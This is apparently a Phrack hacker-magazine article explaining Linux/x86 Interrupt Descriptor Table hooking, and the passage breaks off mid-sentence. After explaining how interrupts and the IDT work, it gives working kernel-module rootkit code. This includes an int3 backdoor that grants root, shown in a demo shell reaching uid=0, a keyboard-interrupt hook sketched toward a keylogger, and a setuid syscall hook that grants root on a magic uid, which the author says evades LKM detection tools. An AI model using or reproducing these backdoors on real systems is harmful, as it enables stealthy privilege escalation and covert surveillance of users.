==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12 |=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=| |=-----------------------------------------------------------------------=| |=----------------=[ kad, ]=-----------------------=| --[ Contents 1 - Introduction 2 - Presentation 2.1 - What is an interrupt? 2.2 - Interrupts and exceptions 2.3 - Interrupt vector 2.4 - What is IDT? 3 - Exceptions 3.1 - List of exceptions 3.2 - Whats happening when an exception appears ? 3.3 - Hooking by mammon 3.4 - Generic interrupt hooking 3.5 - Hooking for profit : our first backdoor 3.6 - Hooking for fun 4 - The hardware interrupt 4.1 - How does It work ? 4.2 - Initialization and activation of a bottom half 4.3 - Hooking of the keyboard interrupt 5 - Exception programmed for the system call 5.1 - List of syscalls 5.2 - How does a syscall work ? 5.3 - Hooking for profit 5.3.1 - Hooking of sys_setuid 5.3.2 - Hooking of sys_write 5.4 - Hooking for fun 6 - CheckIDT 7 - References & Greetz 8 - Appendix --[ 1 - Introduction The Intel CPU can be run in two modes: real mode and protected mode. The first mode does not protect any kernel registers from being altered by userland programs. All modern Operating System make use of the protected mode feature to restrict access to critical registers by userland processes. The protected mode offers 4 different 'privilege levels' (ranging from 0..3, aka ring0..ring3). Userland applications are usually executed in ring3. The kernel on the other hand is executed in the most privileged mode, ring0. This grants the kernel full access to all CPU registers, all parts of the hardware and the memory. With no question is this the mode of choice to do start some hacking. The article will demonstrate techniques for modifying the Interrupt Descriptor Table (IDT) on Linux/x86. Further on will the article explain how the same technique can be used to redirect system calls to achieve similar capability as with Loadable Kernel Modules (LKM). The presented examples in this article will only make use of LKM to load the executable code into kernel space for simplicity reasons. Other techniques which are not scope of this document can be used to either load the executable code into the kernel space or to hide the kernel module (Spacewalker's method for example). CheckIDT which is a useful tool for examining the IDT and to avoid kernel panics every 5 minutes is provided at the end of that paper. --[ 2 - Presentation ----[ 2.1 - What's an interrupt? "An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Such events correspond to electrical signals generated by hardware circuits both inside and outside of the CPU chip." (from: "Understanding the Linux kernel," O'Reilly publishing.) ----[ 2.2 - Interrupts and exceptions The Intel reference manual refers to "synchronous interrupts" (those which are produced by the CPU Control Unit (CU) after the execution of an instruction has been finished) as "exceptions". Asynchronous interrupts (those which are generated by other hardware devices at arbitrary time) are referred to as just "interrupts". Interrupts are issued by external I/O devices whereas exceptions are caused either by programming errors or by anomalous conditions that must be handled by the kernel. The term "Interrupt Signals" will be used during this article to refer to both, exceptions and interrupts. Interrupts are split into two categories: Maskable interrupts which can be ignored (or 'masked') for a short time period and non-maskable interrupts which must be handled immediately. Unmaskable interrupts are generated by critical events such as hardware failures; I won't deal with them here. The well-known IRQs (Interrupt ReQuests) fall into the category of maskable interrupts. Exceptions are split into two different categories: Processor generated exceptions (Faults, Traps, Aborts) and programmed exceptions which can be triggered by the assembler instructions int or int3. The latter one are often referred to as software interrupts. ----[ 2.3 - Interrupt vector Each interrupt or exception is identified by a number between 0 and 255. Intel calls this number a vector. The numbers are classified like this: - From 0 to 31 : exceptions and non-maskable interrupts - From 32 to 47 : maskable interrupts - From 48 to 255 : software interrupts Linux uses only one software interrupt (0x80) which is used for the syscall interface to invoke kernel functions. Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to the interrupt vectors 32..47. ----[ 2.4 - What is IDT ? IDT = Interrupt Descriptor Table The IDT is a linear table of 256 entries which associates an interrupt handler with each interrupt vector. Each entry of the IDT is a descriptor of 8 bytes which blows the entire IDT up to a size of 256 * 8 = 2048 bytes. The IDT can contain three different types of descriptors/entries: - Task Gate Descriptor Linux does not use this descriptor - Interrupt Gate Descriptor 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - bits 0 to 15 : handler offset low - bits 16 to 31 : segment selector - bits 32 to 37 : reserved - bits 37 to 39 : 0 - bits 40 to 47 : flags/type - bits 48 to 63 : handler offset high - Trap Gate Descriptor Same as the previous one, but the flag is different The flag is composed as next : - 5 bits for the type interrupt gate : 1 1 1 1 0 trap gate : 0 1 1 1 0 - 2 bits for DPL DPL = descriptor privilege level - 1 bit reserved Offset low and offset high contain the address of the function handling the interrupt. This address is jumped at when an interrupt occurs. The goal of the article is to change one of these addresses and let our own interrupthandler beeing executed. DPL=Descriptor Privilege Level The DPL is equal to 0 or 3. Zero is the most privileged level (kernel mode). The current execution level is saved in the CPL register (Current Privilege Level). The UC (Unit Of Control) compares the value of the CPL register against the DPL field of the interrupt in the IDT. The interrupt handler is executed if the DPL field is greater (less privileged) or equal to the value in the CPL register. Userland applications are executed in ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by userland applications. The IDT is initialized one first time by the BIOS routine but Linux does it one more time when it take control. The asm lidt function initialize the idtr registry which will contain the size and idt's address. Then the setup_idt function fill the 256 entry of the idt with the same interrupt gate, ignore_int. Then the good gate will be inserted into the idt by the next functions: linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr) insert an interrupt gate at the n place at the address pointed to by the idt register. The interrupt handler's address is stored in 'addr'. linux/arch/i386/kernel/irq.c All maskable interrupts and software interrupts are initialized with: set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); linux/arch/i386/kernel/traps.c::set_system_gate(n, addr) insert a trap gate. The DPL field is set to 3. These interrupts can be invoked from the userland (ring3). set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr) insert a trap gate with the DPL field set to 0. The Others exception are initialized with set_trap_gate : set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ interrupts are initialized by set_intr_gate(), Exception int3, overflow, bound and the system_call software interrupt by set_system_gate(). All others exceptions are initialized by set_trap_gate(). Let's start over with some practice and examine the currently assigned handler addresses for each interrupt. Use the tool CheckIDT [6] attached to this article for this: %./checkidt -A -s Int *** Stub Address * Segment *** DPL * Type Handler Name -------------------------------------------------------------------------- 0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug 2 0xc0109364 KERNEL_CS 0 Trap gate nmi 3 0xc0109370 KERNEL_CS 3 System gate int3 4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds 6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call The System.map contains the symbol names to the addresses shown above. % grep c0109364 /boot/System.map 00000000c0109364 T nmi nmi=not maskable interrupt ->trap_gate % grep c010937c /boot/System.map 00000000c010937c T overflow overflow -> system_gate % grep c01001e4 /boot/System.map 00000000c01001e4 t ignore_int 18 to 31 are reserved by Intel for further use % grep c010a0e0 /boot/System.map 00000000c010a0e0 t IRQ0x01_interrupt device keyboard ->intr_gate % grep c01091b4 /boot/System.map 00000000c01091b4 T system_call system call -> system_gate rem: there is a new option in checkIDT for resolving symbol --[ 3 - Exceptions ----[ 3.1 - List of exceptions --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ Exceptions are divided into two categories: - processor detected exceptions (DPL field set to 0) - software interrupts (aka programmed exceptions), (DPL field set to 3). The latter one can be invoked from userland. ----[ 3.2 - Whats happening when an exception occurs ? On the occurrence of an exception the corresponding handler address from the current IDT is executed. This handler is not the real handler who deals with the exception, it's just jumps till the true/good handler. To be clearer : exception -----> intermediate Handler -----> Real Handler entry.S defines all the intermediate Handler, also called Generic Handler or stub. The first Handler is written in asm, the real Handler written in C. For not being confused, lets call the first handler : asm Handler and the second one the C Handler. let's have a look at entry.S : entry.S : --------- ************************************************** ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx decl %eax # eax = -1 pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) movl %esp,%edx pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es GET_CURRENT(%ebx) call *%edi addl $8,%esp jmp ret_from_exception ********************************************** Let's examine the above: ALL handlers have the same structure (only system_call and device_not_available are different): pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code Pushl $0 is only used for some exceptions. The UC is supposed to smear the hardware error value of the exception onto the stack. Some exceptions to not generate an error value and $0 (zero) is pushed instead. The last line jumps to error_code (see linux/arch/i386/kernel/entry.S for details). error code is an asm macro used by the exceptions. so let's resume once again exception ---> intermediate Handler ---> error_code macro ---> Real Handler The Assembly fragment error_code performs the following steps: 1: Saves the registers that might be used by the high-level C function on the stack. 2: Set eax to -1. 3: Copy the hardware error value ($esp + 36) and the handler's address ($esp + 32) in esi and edi respectively. movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: Place eax, which is equal to -1, at the error code emplacement. Copy the content of es to the stack location at $esp + 32. 5: Save the the stack's top Address into edx,then smear error_code which we get back at point 3 and edx on the stack. The stack's top address must be saved for later use. 6: Place the kernel data segment selector into the ds and es registry. 7: Set the current process descriptor's address in ebx. 8: Stores the parameters to be passed to the high-level C function on the stack (e.g. the hardware exception value and the address and the stack location of the saved registers from the user mode process). 9: Call the exception handler (address is in edi, see 3). 10: The two last instructions are for the back of the exception. error_code will jump to the suitable exception Manager. The one that's gonna actually handle the exceptions (see traps.c for detailed information). So these ones are written in C. Let's take an exception handler as a concrete example. For example, the C handler for non maskable nmi interruption. rem: taken from traps.c ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage is a macro used to keep params on the stack. As params are passed from asm code to C code through the stack, it would be bad to get unwanted params put on the top of the stack. Asmlinkage gonna resolve that point. The function do_nmi gets a pointer of type pt_regs and error_code. pt_regs is defined into /usr/include/asm/ptrace.h: struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; A part of the registry are push on the stack by error_code, the others are some registry pushed by the UC at the hardware level. This handler will handle the exception and almost all time send a signal to the process. ----[ 3.3 - Hooking an interrupt (by Mammon) Mammon wrote a txt on how to hook interrupt under linux. The technique I'm going to explain is similar to that of Mammon but will allow us to handle the interrupt in a more generic/comfortable way. Let's take int3, the breakpoint interrupt. The handler/stub is defines as following: ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code The C handler's address is pushed on the stack right after the dummy hardware error value (zero) has been saved. The assembly fragment error_code is executed next. Our approach is to rewrite such an asm handler and push our own handler's address on the stack instead of the original one (do_int3). Example: void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } Our new handler looks similar to the original one. The surrounding statements are required to get it compiled with a C compiler. - We put our asm code into a function to make linking easier. - .globl my_stub, will allow us to reference the asm code if we declare in global : extern asmlinkage void my_stub(); - align 4,0x90, align the size of one word, on Intel processor the alignement is 4 (32 bits). - push ptr_handler(,1) , conform to the gas syntax,we wont use it later. For more information about asm inline, see [1]. We push our Handler's address and we jump to error_code. ptr_handler contain our C Handler's address : unsigned long ptr_handler=(unsigned long)&my_handler; The C Handler: asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } We get back two argument, one pointer on the registry, and err_code. We have seen before that error_code push this two argument. We save the old handler's address,the one we was supposed to push (pushl $SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the interrupt and go back to the old handler.Its the same way as hooking a syscall with "classical method". What's old_handler ? #define do_int3 0xc010977c unsigned long old_handler=do_int3; do_int3 address have been catch from System.map. rem : We can define a symbol's address on-the-fly. To be clearer : asm Handler ---------------- push 0 push our handler jmp to error_code error_code ---------- do some operation pop our handler address jmp to our C handler our C Handler -------------------- save the old handler's address print a message return to the real C handler Real C Handler ------------------- really deal with the interrupt Now we have to change the first Handler's address in the corresponding descriptor in the IDT (offset_low and offset_high, see 2.4). The function accepts three parameters: The number of the interrupt hook, the new handler's address and a pointer to save the old handler's address. void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; We have seen that a descriptor is 64 bits long. unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet It's a descriptor for the IDT. The only interesting fields are offset_high and offset_low. It's the two fields we will modify. Hook_stub performs the following steps: 1: We copy our handler's address into new_addr 2: We make the idt variable point on the first IDT descriptor. We got the IDT's address with the function get_addr_idt(). This function execute the asm instruction sidt who get the idt address and his size into a variable. We get the idt's address from this variable (idtr) and we send it back. This have been already explained by sd and devik in Phrack 58 article 7. 3: We save the old handler's address with the function get_stub_from_idt. This function extract the fields offset_high and offset_low from the gived descriptor and send back the address. struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); n = the number of the interrupt to hook. idte will then contain the given interrupt descriptor. We send the handler's address back,for it we send a type (void*) (32 bits). offset_high and offset_low do both 16 bits, we slide the bit for offset high to the left,and we add offset_low. The whole part give the handler's address. 4 : new_addr contain our handler's address,always 32 bits. We extract the 16 MSB and put them into offset_high and the 16 LSB into offset_low. The fields offset_high and offset_low of the interrupt's descriptor to handle have been changed. The whole code is available in annexe CODE 1 Why is this technique not perfect? Its not that its bad, but it isn't appropriate for the others interrupt.Here we admit that all handler are like that : pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code It's True.If you give a look in entry.S, they are almost all look like this. But not all. Imagine you wanna hook the syscall's handler, The device_not_aivable Handler (even if its not really interesting)or even the hardware interrupt....How Will we do it ? ----[ 3.4 - Generic interrupt hooking We are going to use another technique to hook a handler. Remember, in the handler written in C, we went back to the true C handler thanks to a return. Now, we are going to go back in the asm code. Simple example of handler : void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } Here, we make a call to our fake C handler, the handler is executed and goes back to the asm handler which jumps to the true asm handler ! Our C handler : asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } What happens ? We are going to change the address in the idt by the address of our asm handler. This one will jump to our C handler and will go back to our asm handler which, at the end, will jump to the true asm handler the address of which we have saved. ::"m"(hostile_code),"m"(old_stub) For those who had not felt up to read the doc on asm inline, here is the syntax : asm ( assembler instruction : output operands : input operands : list of modified registers ); You can put asm or __asm__. __asm__ is used to avoid confusion with other vars. You can also put asm volatile, in this case the asm code won't be changed (optimized) during the compilation. "m"(hostile_code) and "m"(old_stub) are input operands. The first one is equal to %0, the second one to %1, ... So call %0 is equal to call hostile_code. "m" means memory address. hostile_code corresponds to the address of our C handler and old_stub to the address of the handler that was in the idt previously. If this seems impossible to understand, I advice you to read the doc on asm inline [1]. The whole code is in annexe. All the next codes comes from this code. In each new example, I will only show the asm handler et the C handler. The rest will be the same. First concrete example : bash-2.05# cat test.c #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# Good ! We see the "Interrupt hijack". In this code, we use MODULE_PARM which will allow to give parameters during the module insertion. For further information about this syntax, read "linux device drivers" from o'reilly [2] (chapter 2). This will allow us to hook a chosen interrupt with the same module. ----[ 3.5 - Hooking for profit : our first backdoor This first very simple backdoor will allow us to obtain a root shell. The C handler is going to give the root rights to the process that has generated the interrupt. Asm handler ------------ void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } We give to the C handler the address of the current process descriptor. We get it back like in error_code, thanks to the macro GET_CURRENT : #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; defined in entry.S. rem : We can also use current instead. We put the result on the stack and we call our function. The rest of the asm code puts the stack back in its previous state and jumps to the true handler. C handler : ------------- ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } We declare a pointer on the current process descriptor. We compare the name of the process with a name we have chosen. We must not attribute the root rights to all the process which would generate this interrupt. If it is the good process, then we can give it new rights. "give_me_root" is a little program which launch a shell (system("/bin/sh")). We will only have to put a breakpoint before system to launch a shell with the root rights. In practice : -------------- bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c sh-2.05$ id uid=1000(kad) gid=100(users) groups=100(users) sh-2.05$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x80483f6 (gdb) r Starting program: /tmp/give_me_root Breakpoint 1, 0x080483f6 in main () (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. The code is in annexe, CODE 2. ----[ 3.6 - Hooking for fun A program that could be interesting is an exception tracer. We could for example hook all the exceptions to print the name of the process that has provoked the exception. We could know all the time who launch what. We could also print the values of the registers. There is a function show_regs that is in arch/i386/kernel/process.c : void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } You can use this code to print the state of the registers at every exception. Something more dangerous would be to change the asm handler so that it would not execute the true C handler. The process that has generated the exception would not receive such signals as SIGSTOP or SIGSEGV. This would be very useful in some situations. --[ 4 - THE HARDWARE INTERRUPTS ----[ 4.1 - How does it works ? We can also hook interrupts generated by IRQs with the same method but they are less interesting to hook (unless you have a great idea ;). We are going to hook interrupt 33 which is keyboard's. The problem is that this interrupt happens a lot more. The handler will be executed a large number of times and will have to go very fast to not block the system. To avoid this, we are going to use bottom half. There are functions of low priority which are used for interrupt handling in most cases . The kernel is waiting for the adequate time to launch it, and other interruptions are not masked during its execution The waiting bottom half will be executed only at the following: - the kernel finishes to handle a syscall - the kernel finishes to handle a exception - the kernel finishes to handle a interrupt - the kernel uses the schedule() function in order to select a new process But they will be executed before the processor goes back in user mode. So the bottom half are useful to ensure the quick handle of an interruption. Here are some examples of linux used bottom halves ----------------+-------------------------------+ Bottom half | Peripheral equipment | ----------------+-------------------------------+ CONSOLE_BH | Virtual console | IMMEDIATE_BH | Immediate tasks file | KEYBOARD_BH | Keyboard | NET_BH | Network interface | SCSI_BH | SCSI interface | TIMER_BH | Clock | TQUEUE_BH | Periodic tasks queue | ... | | ----------------+-------------------------------+ My goal writing this paper is not to study the bottom halves, as it's a too wide topic. Anyway, for more informations about that topic, you can have a look at http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8] IRQ list -------- BEWARE ! : the number of the interrupts are not always the same for the IRQs! ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- ----[ 4.2 - Initialization and activation of a bottom half The low parts must be initialized with the function init_bh(n,routine) that insert the address routine in the n-th entry of bh_base (bh_base is an array where low parts are kept). When it is initialized, it can be activated and executed. The function mark_bh(n) is used by the interrupt handler to activate the n-th low part. The tasklets are the functions themselves. There are put together in list of elements of type tq_struct : struct tq_struct { struct tq_struct *next; /* linked list of active bh's */ unsigned long sync; /* must be initialized to zero */ void (*routine)(void *); /* function to call */ void *data; /* argument to function */ }; The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a tasklet that will then be inserted in the task queue thanks to the function queue_task. There is several task queues, the most interesting here is tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate task queue). (include/linux/tqueue.h) ----[ 4.3 - Hooking of the keyboard interrupt When we hit a key, the interrupt happens twice. Once when we push the key and once when we release the key. The code below will display a message every 10 interrupts. If we hit 5 keys, the message appears. I don't show the asm handler which is the same as in 3.4 Code ---- ... struct Variable { int entier; char chaine[10]; }; ... static void evil_fonction(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_fonction,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } We declare a tasklet my_task. We initialize it with our function and the argument. As the tasklet allow us to take only one argument, we give the address of a structure. This will allow to use several arguments. We add the tasklet to the list tq_immediate thanks to queue_task. Finally, we activate the low part IMMEDIATE_BH thanks to mark_bh: mark_bh(IMMEDIATE_BH) We have to activate IMMEDIATE_BH, which handles the tasks queue 'tq_immediate' (the one where we added our own tasklet) evil_function is to be executed just after one of the requested event (listed in part 4.1) evil_function is just going to display a message each time that the interrupt happened 10 times. We effectively hooked the keyboard interrupt. We could use this method to code a keylogger. This one would be the most quiet because it would act at interrupts level. The issue, that I didn't solve, is to know which key has been hit. To do this, we can use the function inb() that can read on a I/O port. There are 65536 I/O ports (8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports make a 32 bits ports. The functions that allow us to access ports are: inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port. outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port. So we can read the scancode of the keyboard thanks to the function inb, and its status (pushed, released). Unfortunately, I'm not sure of the port to read. The port for the scancode is 0x60 and the port for the status is 0x64. scancode=inb(0x60); status=inb(0x64); scancode is going to be equal to a value that will have to be transformed to know which key has been hit. This is realized with an array of value. It may exist a function that give directly the conversion, but I'm not sure. If anyone has information about it or wish to develop the topic, he can contact me. --[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL ----[ 5.1 - List of the syscalls You can find a list of all the syscalls at the url : http://www.lxhp.in-berlin.de/lhpsysc0.html [3]. All syscalls are listed and the value to put in the registers are given. Rem : be ware, the numbers of the syscalls are not the same in 2.2.* and 2.4.* kernels. ----[ 5.2 - How does a syscall work ? Thanks to the technique that we have just used here, we can also hook the syscalls. When a syscall is called, all the parameters of the syscall are in the registers. eax : number of the called syscall ebx : first param ecx : second param edx : third param esi : fourth param edi : fifth param The maximum number of arguments can't exceed 5. However, some syscalls need more than 5 arguments. It is the case for the syscall mmap (6 params). In such a case, a single register is used to point to a memory area to the addressing space of the process in user mode that contains the values of the parameters. We can get these values thanks to the structure pt_regs that we've seen before. We are going to hook syscalls at the IDT level and not in the syscall_table. kstat and all currently available LKM detection tools will fail in detecting our voodoo. I won't show you all what can be done by hooking the syscalls, the technique used by pragmatic or so in their LKMs are applicable here. I will show you how to hook some syscalls, you will be able to hook those you want using the same technique. ----[ 5.3 - Hooking for profit ------[ 5.3.1 - Hooking of sys_setuid SYS_SETUID: ----------- EAX: 213 EBX: uid We are going to begin with a simple case, a backdoor that change the rights of a process into root. The same backdoor as in 3.5 but we are going to hook the syscall setuid. asm handler : -------------- ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare if it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall, //put top stack address on stack :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } - we save the values of all the registers on the stack - we compare eax that contains the number of the syscall with the value of sys_number that we have defined above. - if it is the good syscall, we put on the stack the value of esp from which have saved all the registers (that will be used for pt_regs) and the current process descriptor. - we call our C handler, then at the return, we pop 8 bytes (eax + edx). - finis : we put back the value of our registers and we call the true handler. By changing the value of sys_number, we can hook any syscall with this asm handler. C handler ---------- asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } We get the value of the registers in a pt_regs structure and the address of the current fd. We compare the value of ebx with 12345, if it is equal then we set the uid and the gid of the current process to 0. In 